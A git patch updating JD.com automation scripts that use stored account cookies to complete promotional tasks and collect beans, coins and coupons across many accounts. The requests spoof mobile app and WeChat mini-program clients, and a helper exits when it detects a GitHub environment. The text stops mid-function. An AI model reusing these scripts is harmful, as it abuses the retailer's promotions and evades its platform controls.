From d8d50c4cf913c218ce3b5eb1d17b60462b67a6b0 Mon Sep 17 00:00:00 2001 From: Faker <Faker@apple.com> Date: Sun, 20 Nov 2022 09:54:45 +0800 Subject: [PATCH] update --- jd_bean_change.js | 2 +- jd_gold_creator.js | 28 +-- jd_jdzz.js | 548 ++++++++++++++++--------------------------- jd_joy_park_run.ts | 231 ++++++++++++++++++ jd_joy_park_task.js | 373 +++++++++++++++++++++++++++++ jd_joy_run_reward.ts | 88 +++++++ jd_opencardDPLHTY.js | 2 +- sendNotify.js | 36 +-- 8 files changed, 924 insertions(+), 384 deletions(-) create mode 100644 jd_joy_park_run.ts create mode 100644 jd_joy_park_task.js create mode 100644 jd_joy_run_reward.ts diff --git a/jd_bean_change.js b/jd_bean_change.js index 17cced4..7cb5bd5 100644 --- a/jd_bean_change.js +++ b/jd_bean_change.js @@ -1854,7 +1854,7 @@ function getCoupon() { //console.log(useable[i]); if (useable[i].limitStr.indexOf('全品类') > -1) { $.beginTime = useable[i].beginTime; - if ($.beginTime < new Date().getTime() && useable[i].quota < 20 && useable[i].coupontype === 1) { + if ($.beginTime < new Date().getTime() && useable[i].quota <= 100 && useable[i].coupontype === 1) { //$.couponEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); $.couponName = useable[i].limitStr; if (useable[i].platFormInfo) diff --git a/jd_gold_creator.js b/jd_gold_creator.js index c2f7885..9f62704 100644 --- a/jd_gold_creator.js +++ b/jd_gold_creator.js @@ -1,23 +1,8 @@ /* 金榜创造营 活动入口:https://h5.m.jd.com/babelDiy/Zeus/2H5Ng86mUJLXToEo57qWkJkjFPxw/index.html -活动时间:2021-05-21至2021-12-31 -脚本更新时间:2021-05-28 14:20 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -===================quantumultx================ -[task_local] -#金榜创造营 -13 1,22 * * * jd_gold_creator.js, tag=金榜创造营, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +13 5 * * * jd_gold_creator.js, tag=金榜创造营, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -=====================Loon================ -[Script] -cron "13 1,22 * * *" script-path=jd_gold_creator.js, tag=金榜创造营 - -====================Surge================ -金榜创造营 = type=cron,cronexp="13 1,22 * * *",wake-system=1,timeout=3600,script-path=jd_gold_creator.js - -============小火箭========= -金榜创造营 = type=cron,script-path=jd_gold_creator.js, cronexpr="13 1,22 * * *", timeout=3600, enable=true */ const $ = new Env('金榜创造营'); const notify = $.isNode() ? require('./sendNotify') : ''; @@ -54,7 +39,7 @@ const JD_API_HOST = 'https://api.m.jd.com/client.action'; $.beans = 0 $.nickName = ''; message = ''; - //await TotalBean(); + await TotalBean(); console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); @@ -79,8 +64,11 @@ const JD_API_HOST = 'https://api.m.jd.com/client.action'; async function main() { try { await goldCreatorTab();//获取顶部主题 + await $.wait(1000); await getDetail(); + await $.wait(500); await goldCreatorPublish(); + await $.wait(500); await showMsg(); } catch (e) { $.logErr(e) @@ -100,7 +88,7 @@ async function getDetail() { for (let item of $.subTitleInfos) { console.log(`\n开始给【${item['longTitle']}】主题下的商品进行投票`); await goldCreatorDetail(item['matGrpId'], item['subTitleId'], item['taskId'], item['batchId']); - await $.wait(4000); + await $.wait(2000); } } function goldCreatorTab() { @@ -211,7 +199,7 @@ async function doTask2(batchId) { body['type'] = 2; } await goldCreatorDoTask(body); - await $.wait(4000); + await $.wait(2000); } } if ($.signTask['taskStatus'] === 1) { @@ -232,7 +220,7 @@ function goldCreatorDoTask(body) { data = JSON.parse(data) if (data.code === '0') { if (data.result.taskCode === '0') { - console.log(`成功,获得 ${data.result.lotteryScore}京豆\n`); + console.log(`成功,获得 ${data.result.lotteryScore}京豆`); if (data.result.lotteryScore) $.beans += parseInt(data.result.lotteryScore); } else { console.log(`失败:${data.result['taskMsg']}\n`); diff --git a/jd_jdzz.js b/jd_jdzz.js index 8e9031b..8abd134 100644 --- a/jd_jdzz.js +++ b/jd_jdzz.js @@ -1,408 +1,268 @@ /* 京东赚赚 活动入口:京东赚赚小程序 -长期活动,每日收益2毛左右 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -# 京东赚赚 -10 0 * * * jd_jdzz.js, tag=京东赚赚, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzz.png, enabled=true -================Loon============== -[Script] -cron "10 0 * * *" script-path=jd_jdzz.js,tag=京东赚赚 -===============Surge================= -京东赚赚 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_jdzz.js -============小火箭========= -京东赚赚 = type=cron,script-path=jd_jdzz.js, cronexpr="10 0 * * *", timeout=3600, enable=true +11 3 * * * jd_jdzz.js */ const $ = new Env('京东赚赚'); const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//let helpAuthor = true; // 帮助作者 -const randomCount = $.isNode() ? 20 : 5; -let jdNotify = true; // 是否关闭通知,false打开通知推送,true关闭通知推送 //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = '', message = '', allMessage = ''; if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const inviteCodes = [ - '' -] let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); !(async () => { - //await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdWish() } - continue - } - //await shareCodesFormat() - await jdWish() } - } - if (allMessage) { - //NODE端,默认每月一日运行进行推送通知一次 - if ($.isNode() && nowTimes.getDate() === 1 && (process.env.JDZZ_NOTIFY_CONTROL ? process.env.JDZZ_NOTIFY_CONTROL === 'false' : !!1)) { - await notify.sendNotify($.name, allMessage); + if (allMessage) { + //NODE端,默认每月一日运行进行推送通知一次 + if ($.isNode() && nowTimes.getDate() === 1 && (process.env.JDZZ_NOTIFY_CONTROL ? process.env.JDZZ_NOTIFY_CONTROL === 'false' : !!1)) { + await notify.sendNotify($.name, allMessage); + } } - } })() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) async function jdWish() { - $.bean = 0 - $.tuan = null - $.hasOpen = false; - $.assistStatus = 0; - await getTaskList(true) + $.bean = 0 + $.tuan = null + $.hasOpen = false; + $.assistStatus = 0; + await getTaskList(true) - // await helpFriends() - await getUserInfo() - $.nowBean = parseInt($.totalBeanNum) - $.nowNum = parseInt($.totalNum) - for (let i = 0; i < $.taskList.length; ++i) { - let task = $.taskList[i] - // console.log(task); - if (task['taskId'] === 1 && task['status'] !== 2) { - console.log(`去做任务:${task.taskName}`) - await doTask({ "taskId": task['taskId'], "taskItem": {}, "actionType": 0, "taskToken": task['taskToken'], "mpVersion": "3.4.0" }) - } else if (task['taskId'] !== 3 && task['status'] !== 2) { - console.log(`去做任务:${task.taskName}`) - if (task['itemId']) - await doTask({ "itemId": task['itemId'], "taskId": task['taskId'], "taskItem": {}, "actionType": 0, "taskToken": task['taskToken'], "mpVersion": "3.4.0" }) - else - await doTask({ "taskId": task['taskId'], "taskItem": {}, "actionType": 0, "taskToken": task['taskToken'], "mpVersion": "3.4.0" }) - await $.wait(3000) + await getUserInfo() + $.nowBean = parseInt($.totalBeanNum) + $.nowNum = parseInt($.totalNum) + for (let i = 0; i < $.taskList.length; ++i) { + let task = $.taskList[i] + if (task['taskId'] === 1 && task['status'] !== 2) { + console.log(`去做任务:${task.taskName}`) + await doTask({ "taskId": task['taskId'], "taskItem": {}, "actionType": 0, "taskToken": task['taskToken'], "mpVersion": "3.4.0" }) + } else if (task['taskId'] !== 3 && task['status'] !== 2) { + console.log(`去做任务:${task.taskName}`) + if (task['itemId']) + await doTask({ "itemId": task['itemId'], "taskId": task['taskId'], "taskItem": {}, "actionType": 0, "taskToken": task['taskToken'], "mpVersion": "3.4.0" }) + else + await doTask({ "taskId": task['taskId'], "taskItem": {}, "actionType": 0, "taskToken": task['taskToken'], "mpVersion": "3.4.0" }) + await $.wait(3000) + } } - } - await getTaskList(); - await showMsg(); + await getTaskList(); + await showMsg(); } function showMsg() { - return new Promise(async resolve => { - message += `本次获得${parseInt($.totalBeanNum) - $.nowBean}京豆,${parseInt($.totalNum) - $.nowNum}金币\n` - message += `累计获得${$.totalBeanNum}京豆,${$.totalNum}金币\n可兑换${$.totalNum / 10000}元无门槛红包\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现` - if (parseInt($.totalBeanNum) - $.nowBean > 0) { - //IOS运行获得京豆大于0通知 - $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); - } else { - $.log(message) - } - // 云端大于10元无门槛红包时进行通知推送 - // if ($.isNode() && $.totalNum >= 1000000) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n`,) - allMessage += `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现${$.index !== cookiesArr.length ? '\n\n' : ''}`; - resolve(); - }) + return new Promise(async resolve => { + message += `本次获得${parseInt($.totalBeanNum) - $.nowBean}京豆,${parseInt($.totalNum) - $.nowNum}金币\n` + message += `累计获得${$.totalBeanNum}京豆,${$.totalNum}金币\n可兑换${$.totalNum / 10000}元无门槛红包\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现` + if (parseInt($.totalBeanNum) - $.nowBean > 0) { + //IOS运行获得京豆大于0通知 + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + } else { + $.log(message) + } + // 云端大于10元无门槛红包时进行通知推送 + // if ($.isNode() && $.totalNum >= 1000000) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n`,) + allMessage += `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现${$.index !== cookiesArr.length ? '\n\n' : ''}`; + resolve(); + }) } function getUserInfo() { - return new Promise(resolve => { - $.get(taskUrl("interactIndex"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - // if (data.data.shareTaskRes) { - // console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data.data.shareTaskRes.itemId}\n`); - // } else { - // console.log(`\n\n已满5人助力或助力功能已下线,故暂时无${$.name}好友助力码\n\n`) - // } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } + return new Promise(resolve => { + $.get(taskUrl("interactIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) }) - }) } function getTaskList(flag = false) { - return new Promise(resolve => { - $.get(taskUrl("interactTaskIndex", { "mpVersion": "3.4.0" }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.taskList = data.data.taskDetailResList - $.totalNum = data.data.totalNum - $.totalBeanNum = data.data.totalBeanNum - if (flag && $.taskList.filter(item => !!item && item['taskId'] === 3) && $.taskList.filter(item => !!item && item['taskId'] === 3).length) { - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.taskList.filter(item => !!item && item['taskId'] === 3)[0]['itemId']}\n`); + return new Promise(resolve => { + $.get(taskUrl("interactTaskIndex", { "mpVersion": "3.4.0" }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.taskList = data.data.taskDetailResList + $.totalNum = data.data.totalNum + $.totalBeanNum = data.data.totalBeanNum + if (flag && $.taskList.filter(item => !!item && item['taskId'] === 3) && $.taskList.filter(item => !!item && item['taskId'] === 3).length) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.taskList.filter(item => !!item && item['taskId'] === 3)[0]['itemId']}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } + }) }) - }) } -// 完成 function doTask(body, func = "doInteractTask") { - // console.log(taskUrl("doInteractTask", body)) - return new Promise(resolve => { - $.get(taskUrl(func, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - // console.log(data) - if (func === "doInteractTask") { - if (data.subCode === "S000") { - console.log(`任务完成,获得 ${data.data.taskDetailResList[0].incomeAmountConf} 金币,${data.data.taskDetailResList[0].beanNum} 京豆`) - $.bean += parseInt(data.data.taskDetailResList[0].beanNum) - } else { - console.log(`任务失败,错误信息:${data.message}`) - } - } else { - console.log(`${data.data.helpResDesc}`) + // console.log(taskUrl("doInteractTask", body)) + return new Promise(resolve => { + $.get(taskUrl(func, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + if (func === "doInteractTask") { + if (data.subCode === "S000") { + console.log(`任务完成,获得 ${data.data.taskDetailResList[0].incomeAmount} 金币`) + //$.bean += parseInt(data.data.taskDetailResList[0].beanNum) + } else { + console.log(`任务失败,错误信息:${data.message}`) + } + } else { + console.log(`${data.data.helpResDesc}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } + }) }) - }) } -async function helpFriends() { - for (let code of $.newShareCodes) { - if (!code) continue - await doTask({"itemId": code, "taskId": "3", "mpVersion": "3.4.0"}, "doHelpTask") - } -} -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({url: `https://code.chiang.fun/api/v1/jd/jdzz/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} - -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = []; - if ($.isNode()) { - if (process.env.JDZZ_SHARECODES) { - if (process.env.JDZZ_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JDZZ_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JDZZ_SHARECODES.split('&'); - } - } - } - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} function taskUrl(functionId, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/json', - 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&appid=wh5&loginType=2&loginWQBiz=interact`, + headers: { + 'Cookie': cookie, + 'Content-Type': 'application/json', + 'Referer': 'https://servicewechat.com/wx8830763b00c18ac3/120/page-frame.html', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } } - } -} - -function taskTuanUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function taskPostUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}`, - body: body, - headers: { - "Cookie": cookie, - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } } function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) }) - }) } function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } } function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } } - } } // prettier-ignore function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if 